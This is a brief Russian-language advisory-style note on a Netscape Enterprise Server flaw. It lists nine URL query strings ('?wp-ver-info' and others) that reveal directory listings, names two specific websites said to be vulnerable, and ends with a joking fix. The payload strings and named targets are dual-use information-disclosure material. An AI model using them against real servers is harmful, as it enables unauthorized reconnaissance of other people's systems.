Эта уязвимость позволяет делать
листинг директорий и на любом сервере Netscape
Enterprise Server. Для этого достаточно дописать к
основному URL, одну из этих строк:
?wp-cs-dump
?wp-ver-info
?wp-html-rend
?wp-usr-prop
?wp-ver-diff
?wp-verify-link
?wp-start-ver
?wp-stop-ver
?wp-uncheckout
Примеры
Я обнаружил в сети несколько таких
сайтов:
http://www.dresser.com/?wp-ver-info
http://www.netbank.com/?wp-ver-info
Также уязвим Netscape Enterprise Server 3.6SP3 НА
IRIX.
Решение проблемы
Поставьте безопасный сервер! 🙂
